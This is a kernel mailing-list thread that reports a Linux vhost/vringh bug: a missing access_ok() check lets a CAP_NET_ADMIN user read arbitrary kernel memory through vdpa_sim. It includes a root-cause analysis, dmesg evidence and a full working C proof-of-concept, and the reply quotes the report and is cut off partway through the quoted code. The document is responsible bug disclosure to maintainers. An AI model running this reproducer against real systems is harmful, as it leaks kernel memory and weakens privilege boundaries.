[BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Haoran Wang]

I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
against the 7.2.10 source tree. I have reproduced the leak on an
unmodified 7.2.10 kernel.

1. Summary
getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
without an access_ok() check. iov_base originates from iotlb_translate(),
which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
does not call access_ok(). In the vdpa_sim default passthrough mode the
entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
vdpasim_set_vq_address() stores the controller-supplied vring address
verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
worker reads 2 bytes from that kernel address via __get_user (no
access_ok). Each vring iteration reads 2 bytes and the value is
repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
would have rejected a kernel address via access_ok(), while__get_user() does
not.

2. Vulnerable code
- File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
- Function: getu16_iotlb
- Misused API: __get_user

```c
/* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
if (vrh->use_va) {
        ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
}

/* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
/* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
/* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
vq->desc_addr = desc_area;   /* controller-controlled = kernel address */
```

3. Root cause
get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
(it expands to __get_user_nocheck, which performs no check_range, whereas
get_user/put_user expand to the check_range-bearing variants that reject
kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
addresses supplied by the controller (driver_addr/desc_addr) flow through
iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
address space, so any address passes the lookup. vdpasim_set_vq_address()
stores the controller's u64 with no user/kernel validation, and
vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
because vq->private_data is never set. Consequently __get_user
dereferences an attacker-chosen kernel virtual address: the vdpa_sim
worker runs under kthread_use_mm() in the controller's mm with SMAP
disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
kernel memory are read. With num=1, __vringh_get_head() sees head (the
leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
to dmesg, making the leak externally observable.

4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.

5. Trigger / Preconditions
CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
kicks the vq. The worker then reads 2 bytes at the chosen kernel address.

6. Proof of Concept
Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y, 
VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner 
and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd 
by vringh_bad().

Concrete reproduced evidence (7.2.10):
- dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
- leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
  (linux_banner[5]=' '(0x20) << 8)
- The expected value is independently computable from /proc/version (which
  prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
  = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
- Across 3 boots the banner *address* changed under KASLR
  (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
  trigger resolves it at runtime via /proc/kallsyms), while the leaked
  *content* was 8312 every time. KASLR only randomizes the address, the 2
  bytes read there are constant.

So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
virtual address by setting a vring avail_user_addr to that address and
kicking the vdpa_sim worker. The value is disclosed to dmesg via
vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
7.2.10 kernel. 

Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
(CAP_NET_ADMIN):

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/vhost.h>
#include <linux/vdpa.h>
#include <sys/eventfd.h>

#ifndef VHOST_VDPA
#define VHOST_VDPA 0xAF
#endif

#ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
#define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
#endif
#ifndef VHOST_BACKEND_F_IOTLB_BATCH
#define VHOST_BACKEND_F_IOTLB_BATCH 0x2
#endif
#ifndef VHOST_BACKEND_F_IOTLB_ASID
#define VHOST_BACKEND_F_IOTLB_ASID 0x3
#endif
#ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
#define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
#endif

static inline int nla_ok_(const struct nlattr *nla, int remaining)
{
	return remaining >= (int)sizeof(struct nlattr) &&
	       nla->nla_len >= (int)sizeof(struct nlattr) &&
	       nla->nla_len <= remaining;
}
static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
{
	int tot = (int)NLA_ALIGN(nla->nla_len);
	*remaining -= tot;
	return (struct nlattr *)((char *)nla + tot);
}
static inline void *nla_data_(const struct nlattr *nla)
{
	return (char *)nla + NLA_HDRLEN;
}

#ifndef VDPA_GENL_NAME
#define VDPA_GENL_NAME "vdpa"
#endif
#ifndef VDPA_GENL_VERSION
#define VDPA_GENL_VERSION 1
#endif
#ifndef VDPA_CMD_DEV_NEW
#define VDPA_CMD_DEV_NEW 3
#endif
#ifndef VDPA_CMD_DEV_DEL
#define VDPA_CMD_DEV_DEL 4
#endif
#ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
#define VDPA_ATTR_MGMTDEV_DEV_NAME 2
#endif
#ifndef VDPA_ATTR_DEV_NAME
#define VDPA_ATTR_DEV_NAME 4
#endif

#define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
#define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)

static int nlsock;
static __u32 nlseq = 0;

static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
{
	struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
	int sl = (int)strlen(s) + 1;
	int pl = NLA_HDRLEN + sl;
	int pad = NLA_ALIGN(sl) - sl;
	if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
	nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
	nla->nla_len = (__u16)pl;
	nla->nla_type = (__u16)type;
	memcpy((char *)nla + NLA_HDRLEN, s, sl);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
	(void)pad;
	return 0;
}

static int genl_resolve_family(const char *name, __u16 *fam_id)
{
	char buf[1024];
	struct nlmsghdr *nlh = (void *)buf;
	struct genlmsghdr *gh;
	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
	nlh->nlmsg_type = GENL_ID_CTRL;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = ++nlseq;
	gh = NLMSG_DATA(nlh);
	gh->cmd = CTRL_CMD_GETFAMILY;
	gh->version = 1;
	nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
	if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
	char rbuf[4096];
	struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
	struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
	ssize_t n = recvmsg(nlsock, &rmsg, 0);
	if (n < 0) { xp("recvmsg getfamily"); return -1; }
	struct nlmsghdr *r = (void *)rbuf;
	if (!NLMSG_OK(r, (size_t)n)) return -1;
	if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
	int hlen = GENL_HDRLEN;
	struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
	int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
	*fam_id = 0;
	for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
		if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
			*fam_id = *(__u16 *)nla_data_(na);
			return 0;
		}
	}
	return -1;
}

static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
{
	char buf[1024];
	struct nlmsghdr *nlh = (void *)buf;
	struct genlmsghdr *gh;
	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
	nlh->nlmsg_type = fam;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = ++nlseq;
	gh = NLMSG_DATA(nlh);
	gh->cmd = VDPA_CMD_DEV_NEW;
	gh->version = VDPA_GENL_VERSION;
	if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
	if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
	if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
	char rbuf[4096];
	struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
	struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
	ssize_t n = recvmsg(nlsock, &rmsg, 0);
	if (n < 0) { xp("recvmsg dev_new"); return -1; }
	struct nlmsghdr *r = (void *)rbuf;
	if (!NLMSG_OK(r, (size_t)n)) return -1;
	if (r->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *e = NLMSG_DATA(r);
		if (e->error == 0)
			return 0;
		fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
		return -1;
	}
	return 0;
}

static int genl_dev_del(__u16 fam, const char *devname)
{
	char buf[1024];
	struct nlmsghdr *nlh = (void *)buf;
	struct genlmsghdr *gh;
	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
	nlh->nlmsg_type = fam;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = ++nlseq;
	gh = NLMSG_DATA(nlh);
	gh->cmd = VDPA_CMD_DEV_DEL;
	gh->version = VDPA_GENL_VERSION;
	nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
	struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
	sendmsg(nlsock, &msg, 0);
	char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
	struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
	recvmsg(nlsock, &rmsg, 0);
	return 0;
}

static unsigned long ksym(const char *want)
{
	FILE *f = fopen("/proc/kallsyms", "r");
	if (!f) return 0;
	char line[512];
	unsigned long a = 0;
	while (fgets(line, sizeof(line), f)) {
		char type; char name[256];
		if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
			if (strcmp(name, want) == 0) { fclose(f); return a; }
		}
	}
	fclose(f);
	return 0;
}

static int expected_leak(unsigned *out)
{
	FILE *f = fopen("/proc/version", "r");
	if (!f) return -1;
	char v[256];
	if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
	fclose(f);
	int len = (int)strlen(v);
	if (len < 6) return -1;
	unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
	*out = m;
	fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x  => expected leak M = 0x%04x (%u)\n",
		(unsigned char)v[4], (unsigned char)v[5], m, m);
	fprintf(stderr, "[*] /proc/version = %.40s\n", v);
	return 0;
}

int main(int argc, char **argv)
{
	unsigned exp;
	if (expected_leak(&exp)) die("cannot read /proc/version");
	unsigned long banner = ksym("linux_banner");
	fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
	if (!banner) die("linux_banner not in /proc/kallsyms (need root)");

	nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (nlsock < 0) die("netlink socket");
	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
	__u16 fam;
	if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
	fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
	if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
	fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");

	char path[64]; int vfd = -1;
	for (int i = 0; i < 50; i++) {
		snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
		vfd = open(path, O_RDWR | O_CLOEXEC);
		if (vfd >= 0) break;
	}
	if (vfd < 0) die("open /dev/vhost-vdpa-*");
	fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);

	int callfd = eventfd(0, EFD_CLOEXEC);
	int kickfd = eventfd(0, EFD_CLOEXEC);
	if (callfd < 0 || kickfd < 0) die("eventfd");

	if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");

	__u64 bf = 0;
	if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
	__u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
	               | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
	               | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
	               | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
	if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");

	__u64 feat = 0;
	if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
	__u64 ack = 0;
	ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
	ack |= (1ULL << VIRTIO_F_VERSION_1);
	ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
	ack &= feat;
	if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
	if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");

	struct vhost_vring_state vs = { .index = 0, .num = 1 };
	if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");

	size_t pg = 4096;
	void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
	void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
	if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
	memset(descbuf, 0, pg); memset(usedbuf, 0, pg);

	struct vhost_vring_addr va = {0};
	va.index = 0;
	va.flags = 0;
	va.desc_user_addr  = (uintptr_t)descbuf;
	va.avail_user_addr = (uintptr_t)banner;   /* <-- KERNEL address, the leak source */
	va.used_user_addr  = (uintptr_t)usedbuf;
	va.log_guest_addr  = 0;
	if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");

	struct vhost_vring_state base = { .index = 0, .num = 0 };
	if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");

	struct vhost_vring_file cf = { .index = 0, .fd = callfd };
	if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
	struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
	if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");

	struct vhost_vring_state en = { .index = 0, .num = 1 };
	if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");

	__u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
	            | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
	if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");

	uint64_t one = 1;
	if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");

	unsigned leaked = 0; int found = 0;
	for (int try = 0; try < 20 && !found; try++) {
		usleep(100000);
		FILE *d = popen("dmesg 2>/dev/null", "r");
		if (d) {
			char l[512];
			while (fgets(l, sizeof(l), d)) {
				char *p = strstr(l, "Guest says index");
				if (p) {
					unsigned idx = 0, numv = 0;
					if (sscanf(p, "Guest says index %u > %u is available",
						   &idx, &numv) >= 1) {
						leaked = idx; found = 1;
						fprintf(stderr, "[!!] dmesg: %s", l);
						break;
					}
				}
			}
			pclose(d);
		}
	}

	if (!found) {
		fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
		FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
		if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
		die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
	}

	fprintf(stderr, "\n=== RESULT ===\n");
	fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
	fprintf(stderr, "expected (/proc/version[4,5])     = 0x%04x (%u)\n", exp, exp);
	if (leaked == exp) {
		fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
		fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
	} else {
		fprintf(stderr, "MISMATCH - investigate\n");
	}

	status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
	close(vfd); close(callfd); close(kickfd);
	genl_dev_del(fam, "sim0");
	return (leaked == exp) ? 0 : 2;
}
```

Captured dmesg from the 7.2.10 run (the disclosed leaked value):
```
[    1.882938] vringh:
[    1.882944] Guest says index 8312 > 1 is available
```

7. Impact
Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
read 2 bytes at an arbitrary kernel virtual address per vring kick via
__get_user() with no access_ok(), and the value is disclosed to dmesg via
vringh_bad(). The read is repeatable, so the whole kernel address space
can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
reads. No memory corruption. KASLR does not prevent it (only the address 
is randomized, the leaked content is constant). Only the use_va mode is 
affected (the non-use_va path goes through GUP, which has an equivalent 
check_range guard).

Please let me know if you need more detail.

Best regards,
Haoran Wang <haoranwangsec@gmail.com>

Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough

[Eugenio Perez Martin]

On Thu, Oct 15, 2026 at 9:24 AM Haoran Wang <haoranwangsec@gmail.com> wrote:
>
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
>
> 1. Summary
> getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> without an access_ok() check. iov_base originates from iotlb_translate(),
> which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> does not call access_ok(). In the vdpa_sim default passthrough mode the
> entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> vdpasim_set_vq_address() stores the controller-supplied vring address
> verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> worker reads 2 bytes from that kernel address via __get_user (no
> access_ok). Each vring iteration reads 2 bytes and the value is
> repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> would have rejected a kernel address via access_ok(), while__get_user() does
> not.
>
> 2. Vulnerable code
> - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> - Function: getu16_iotlb
> - Misused API: __get_user
>
> ```c
> /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
> if (vrh->use_va) {
>         ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> }
>
> /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
> /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
> vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
> vq->desc_addr = desc_area;   /* controller-controlled = kernel address */
> ```
>
> 3. Root cause
> get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> (it expands to __get_user_nocheck, which performs no check_range, whereas
> get_user/put_user expand to the check_range-bearing variants that reject
> kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> addresses supplied by the controller (driver_addr/desc_addr) flow through
> iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> address space, so any address passes the lookup. vdpasim_set_vq_address()
> stores the controller's u64 with no user/kernel validation, and
> vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> because vq->private_data is never set. Consequently __get_user
> dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> worker runs under kthread_use_mm() in the controller's mm with SMAP
> disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> kernel memory are read. With num=1, __vringh_get_head() sees head (the
> leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> to dmesg, making the leak externally observable.
>
> 4. Affected versions
> Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
>
> 5. Trigger / Preconditions
> CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
>
> 6. Proof of Concept
> Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
> VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
> and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
> by vringh_bad().
>
> Concrete reproduced evidence (7.2.10):
> - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
>   (linux_banner[5]=' '(0x20) << 8)
> - The expected value is independently computable from /proc/version (which
>   prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
>   = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> - Across 3 boots the banner *address* changed under KASLR
>   (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
>   trigger resolves it at runtime via /proc/kallsyms), while the leaked
>   *content* was 8312 every time. KASLR only randomizes the address, the 2
>   bytes read there are constant.
>
> So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> virtual address by setting a vring avail_user_addr to that address and
> kicking the vdpa_sim worker. The value is disclosed to dmesg via
> vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> 7.2.10 kernel.
>
> Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> (CAP_NET_ADMIN):
>
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <stdint.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/mman.h>
> #include <linux/netlink.h>
> #include <linux/genetlink.h>
> #include <linux/vhost.h>
> #include <linux/vdpa.h>
> #include <sys/eventfd.h>
>
> #ifndef VHOST_VDPA
> #define VHOST_VDPA 0xAF
> #endif
>
> #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_ASID
> #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> #endif
> #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> #endif
>
> static inline int nla_ok_(const struct nlattr *nla, int remaining)
> {
>         return remaining >= (int)sizeof(struct nlattr) &&
>                nla->nla_len >= (int)sizeof(struct nlattr) &&
>                nla->nla_len <= remaining;
> }
> static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
> {
>         int tot = (int)NLA_ALIGN(nla->nla_len);
>         *remaining -= tot;
>         return (struct nlattr *)((char *)nla + tot);
> }
> static inline void *nla_data_(const struct nlattr *nla)
> {
>         return (char *)nla + NLA_HDRLEN;
> }
>
> #ifndef VDPA_GENL_NAME
> #define VDPA_GENL_NAME "vdpa"
> #endif
> #ifndef VDPA_GENL_VERSION
> #define VDPA_GENL_VERSION 1
> #endif
> #ifndef VDPA_CMD_DEV_NEW
> #define VDPA_CMD_DEV_NEW 3
> #endif
> #ifndef VDPA_CMD_DEV_DEL
> #define VDPA_CMD_DEV_DEL 4
> #endif
> #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> #endif
> #ifndef VDPA_ATTR_DEV_NAME
> #define VDPA_ATTR_DEV_NAME 4
> #endif
>
> #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
> #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
>
> static int nlsock;
> static __u32 nlseq = 0;
>
> static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
> {
>         struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
>         int sl = (int)strlen(s) + 1;
>         int pl = NLA_HDRLEN + sl;
>         int pad = NLA_ALIGN(sl) - sl;
>         if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
>         nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
>         nla->nla_len = (__u16)pl;
>         nla->nla_type = (__u16)type;
>         memcpy((char *)nla + NLA_HDRLEN, s, sl);
>         nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
>         (void)pad;
>         return 0;
> }
>
> static int genl_resolve_family(const char *name, __u16 *fam_id)
> {
>         char buf[1024];
>         struct nlmsghdr *nlh = (void *)buf;
>         struct genlmsghdr *gh;
>         memset(buf, 0, sizeof(buf));
>         nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
>         nlh->nlmsg_type = GENL_ID_CTRL;
>         nlh->nlmsg_flags = NLM_F_REQUEST;
>         nlh->nlmsg_seq = ++nlseq;
>         gh = NLMSG_DATA(nlh);
>         gh->cmd = CTRL_CMD_GETFAMILY;
>         gh->version = 1;
>         nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
>         struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
>         struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
>         struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
>         if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
>         char rbuf[4096];
